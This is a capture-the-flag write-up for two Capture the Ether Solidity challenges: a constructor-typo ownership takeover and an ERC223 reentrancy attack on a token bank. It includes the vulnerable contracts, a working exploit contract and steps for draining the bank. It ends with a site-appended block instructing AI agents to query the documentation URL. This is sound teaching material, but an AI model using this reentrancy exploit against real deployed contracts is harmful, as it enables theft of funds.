# Miscellaneous

## Assume ownership

### Code Audit

```solidity
pragma solidity ^0.4.21;

contract AssumeOwnershipChallenge {
    address owner;
    bool public isComplete;

    function AssumeOwmershipChallenge() public {
        owner = msg.sender;
    }

    function authenticate() public {
        require(msg.sender == owner);

        isComplete = true;
    }
}
```

Note that `AssumeOwmershipChallenge()` has a typo, so it is declared as a function instead of the constructor. Since this function is public, anyone can call it and reset the owner.

### Solution

Copy and paste the challenge contract to Remix and interact with the instance via "At Address". Call `AssumeOwmershipChallenge()`, then call `authenticate()`.

## Token bank

### Code Audit

```solidity
pragma solidity ^0.4.21;

interface ITokenReceiver {
    function tokenFallback(address from, uint256 value, bytes data) external;
}

contract SimpleERC223Token {
    // Track how many tokens are owned by each address.
    mapping (address => uint256) public balanceOf;

    string public name = "Simple ERC223 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;

    uint256 public totalSupply = 1000000 * (uint256(10) ** decimals);

    event Transfer(address indexed from, address indexed to, uint256 value);

    function SimpleERC223Token() public {
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    function isContract(address _addr) private view returns (bool is_contract) {
        uint length;
        assembly {
            //retrieve the size of the code on target address, this needs assembly
            length := extcodesize(_addr)
        }
        return length > 0;
    }

    function transfer(address to, uint256 value) public returns (bool success) {
        bytes memory empty;
        return transfer(to, value, empty);
    }

    function transfer(address to, uint256 value, bytes data) public returns (bool) {
        require(balanceOf[msg.sender] >= value);

        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;
        emit Transfer(msg.sender, to, value);

        if (isContract(to)) {
            ITokenReceiver(to).tokenFallback(msg.sender, value, data);
        }
        return true;
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => mapping(address => uint256)) public allowance;

    function approve(address spender, uint256 value)
        public
        returns (bool success)
    {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value)
        public
        returns (bool success)
    {
        require(value <= balanceOf[from]);
        require(value <= allowance[from][msg.sender]);

        balanceOf[from] -= value;
        balanceOf[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true;
    }
}

contract TokenBankChallenge {
    SimpleERC223Token public token;
    mapping(address => uint256) public balanceOf;

    function TokenBankChallenge(address player) public {
        token = new SimpleERC223Token();

        // Divide up the 1,000,000 tokens, which are all initially assigned to
        // the token contract's creator (this contract).
        balanceOf[msg.sender] = 500000 * 10**18;  // half for me
        balanceOf[player] = 500000 * 10**18;      // half for you
    }

    function isComplete() public view returns (bool) {
        return token.balanceOf(this) == 0;
    }

    function tokenFallback(address from, uint256 value, bytes) public {
        require(msg.sender == address(token));
        require(balanceOf[from] + value >= balanceOf[from]);

        balanceOf[from] += value;
    }

    function withdraw(uint256 amount) public {
        require(balanceOf[msg.sender] >= amount);

        require(token.transfer(msg.sender, amount));
        balanceOf[msg.sender] -= amount;
    }
}
```

Look at the `withdraw()` function:

```solidity
function withdraw(uint256 amount) public {
	require(balanceOf[msg.sender] >= amount);

	require(token.transfer(msg.sender, amount));
	balanceOf[msg.sender] -= amount;
}
```

This function violates the **"checks-effects-interactions"** pattern, hence vulnerable to reentrancy attack. When `token.transfer(msg.sender, amount)` is called, the control flow goes into `msg.sender`'s fallback function. If we call `challenge.withdraw()` again inside the fallback flow, the control flow will **"re-enter"** `challenge.withdraw()`. That is, `TokenBankChallenge.withdraw()` can be called many many times until all the fund in that contract is drained.

**ERC223** is a superset of ERC20. The difference is ERC-223 "notifies" the recipient of a transfer by calling the recipient's `tokenFallback` function in case the recipient is a contract. This logic was implemented in `token.transfer()`:

<figure><img src="/files/EmyWBZdWZoweLorkpobR" alt=""><figcaption><p>token.transfer()</p></figcaption></figure>

In this challenge, we will be using `tokenFallback` instead of the standard fallback function when building reentrancy attack exploit due to the design of ERC223. Besides this, the attack will be same as a standard reentrancy attack.

### Solution

Write an exploit contract and deploy it in Remix:

```solidity
pragma solidity ^0.4.21;

interface ITokenBankChallenge {
    function token() external returns (address);
    function balanceOf(address from) external returns (uint256);
    function isComplete() external view returns (bool);
    function withdraw(uint256 amount) external;
}
interface ISimpleERC223Token {
    function totalSupply() external returns (uint256);
    function balanceOf(address from) external returns (uint256);
    function transfer(address to, uint256 value) external returns (bool success);
    function approve(address spender, uint256 value) external returns (bool success);
    function transferFrom(address from, address to, uint256 value) external returns (bool success);
}

contract TokenBankSolution {
    ITokenBankChallenge public challenge;
    ISimpleERC223Token public token;
    uint256 private constant balance = 500000000000000000000000;
    uint256 counter;

    function TokenBankSolution(address _challenge) public {
        challenge = ITokenBankChallenge(_challenge);
        token = ISimpleERC223Token(challenge.token());
    }

    function stepThree(address _account) external {
        token.transferFrom(_account, address(this), balance);
    }

    function stepFour() external {
        token.transfer(address(challenge), balance);
    }

    function tokenFallback(address, uint256, bytes) public {
        counter++;
        if(counter <= 2){
            challenge.withdraw(balance);    
        }
    }

    function () public payable {}
}
```

Pay attention to the `challenge.withdraw()` function:

<figure><img src="/files/lCWOjHSdZxP364kD2ca6" alt=""><figcaption><p>challenge.withdraw()</p></figcaption></figure>

Note that the `msg.sender` here will be the exploit contract we just deployed. In order to pass this requirement, we need at least 500000000000000000000000 tokens in the exploit contract account. Since the initial balance of the exploit contract account is 0 and the initial balance of the player account is 500000000000000000000000, we can 1) convert all balances to tokens for the player account and 2) transfer all tokens from the player account to the exploit contract account, then 3) convert those tokens back to balance for the exploit contract account.

To exploit this challenge, do the following things in order:

* **Step 0:** Interact with the challenge contract via "At Address". Get the token address via the getter `challenge.token()`. Interact with the token contract via "At Address".
* **Step 1 (manually):** Call `challenge.withdraw(500000000000000000000000)` to convert all balances to tokens. Now the player account has 500000000000000000000000 tokens.
* **Step 2 (manually):** Call `token.approve(<exploit_contract_address>, 500000000000000000000000)`. This step prepares for `token.transforFrom()`.
* **Step 3:** Call `stepThree(<your_Metamask_wallet_address>)`. This will transfer all the tokens from the player account to the exploit contract account.
* **Step 4:** Call `stepFour()`. This will transfer all the token from the exploit contract account to the challenge contract account. The `challenge.tokenFallback()` function will be triggered, so `challenge.balanceOf(<exploit_contract_address>) == 500000000000000000000000` now.
* **Step 5:** Call `tokenFallback(0x0000000000000000000000000000000000000000,1337,0x1337)`. This will trigger the reentrancy attack. Just pass in some junk parameters since they don't matter.
* **Step 6:** Call `challenge.isComplete()` to verify if the reentrancy attack succeeded.

Here step 1 and step 2 are done manually because they are involved with `msg.sender`, which is supposed to be our Metamask wallet address.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/capture-the-ether/miscellaneous.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
